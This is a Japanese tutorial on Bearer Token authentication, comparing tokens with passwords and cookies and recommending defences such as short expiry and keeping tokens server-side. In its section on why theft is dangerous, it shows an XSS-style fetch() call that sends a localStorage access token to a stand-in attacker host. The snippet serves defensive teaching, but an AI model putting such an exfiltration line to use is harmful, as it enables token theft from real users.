Bearer Token の意味
Bearer Token の Bearer は「持参人」という意味です。
つまり、Bearer Token は「このトークンを持っている人を正当な利用者として扱う」認証方式です。
APIリクエストでは、よく次のように送ります。
GET /api/user HTTP/1.1
Host: api.example.com
Authorization: Bearer xxxxx.yyyyy.zzzzz
サーバは Authorization ヘッダーのトークンを検証し、正しければリクエストを許可します。
パスワードとの違い
パスワードは本人だけが知っている秘密です。一方、Bearer Token は「持っていること」自体が権限になります。
| 種類 | 使い方 | 漏れたとき |
|---|---|---|
| パスワード | ログイン時に本人確認する | アカウント乗っ取りにつながる |
| Bearer Token | API呼び出しごとに提示する | トークンの権限でAPIを使われる |
Bearer Token は、入館証に近いです。入館証を拾った人が建物に入れてしまうなら、入館証の管理は非常に重要です。
JWT は Bearer Token として使われることが多い
JWT はトークンの形式です。Bearer Token はトークンの使い方です。
JWTを Authorization: Bearer で送ると、JWTがBearer Tokenとして使われていることになります。
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWTでない不透明な文字列も、Bearer Tokenとして使えます。
Authorization: Bearer opaque_random_token_123
ポイント: JWT は「形式」、Bearer は「提示方式」です。JWT だから必ず Bearer とは限りませんが、API認証では組み合わせて使われることが多いです。
盗まれると危険な理由
Bearer Token は、持っている人を本人として扱います。そのため、盗まれると攻撃者がそのまま使えます。
たとえば、トークンが localStorage にあるとします。
const token = localStorage.getItem("access_token");
XSSで攻撃者のJavaScriptが実行されると、トークンを外部へ送られる可能性があります。
fetch("https://attacker.example/steal", {
method: "POST",
body: localStorage.getItem("access_token"),
});
盗まれたトークンは、攻撃者の環境からAPIに送れます。
GET /api/me HTTP/1.1
Host: api.example.com
Authorization: Bearer stolen_token
これが「localStorage にJWTを置くな」と言われる大きな理由です。
Cookie との違い
Cookie認証では、ブラウザがCookieを自動送信します。
GET /mypage HTTP/1.1
Cookie: session_id=abc123
Bearer Token認証では、クライアントが Authorization ヘッダーに明示的に入れて送ります。
Authorization: Bearer token
| 観点 | Cookie | Bearer Token |
|---|---|---|
| 送信方法 | ブラウザが自動送信 | アプリがヘッダーに入れる |
| JSから読む必要 | HttpOnlyなら不要 | 多くの場合必要 |
| CSRF | 注意が必要 | Cookieほど自動送信されない |
| トークン窃取 | HttpOnlyで軽減 | 保存場所に依存 |
Bearer Token を安全に使う考え方
Bearer Token を使うときは、次の対策を組み合わせます。
- HTTPSを必須にする
- 有効期限を短くする
- 必要最小限の権限にする
- refresh token を慎重に扱う
- ブラウザに長期保存しない
- サーバ側やBFFに隔離する
特にブラウザでは、JavaScriptから読める場所に長く保存しないことが重要です。
まとめ
Bearer Token は「持っている人を正当な利用者として扱う」トークンです。
Authorization: Bearer <token>でAPIに送る- JWT が Bearer Token として使われることが多い
- 盗まれると攻撃者がそのままAPIを使える
- localStorage に長く置くとXSS時に盗まれやすい
- BFF構成では、Bearer Token をサーバ側に閉じ込める
Bearer Token の危険性を理解すると、「JWTが悪い」のではなく「Bearer Tokenをブラウザに読める形で置くのが危険」という整理ができます。
参考リソース
- 公式ドキュメント - Bearer Token とは何か - 持っている人を本人とみなす認証 を確認するための一次情報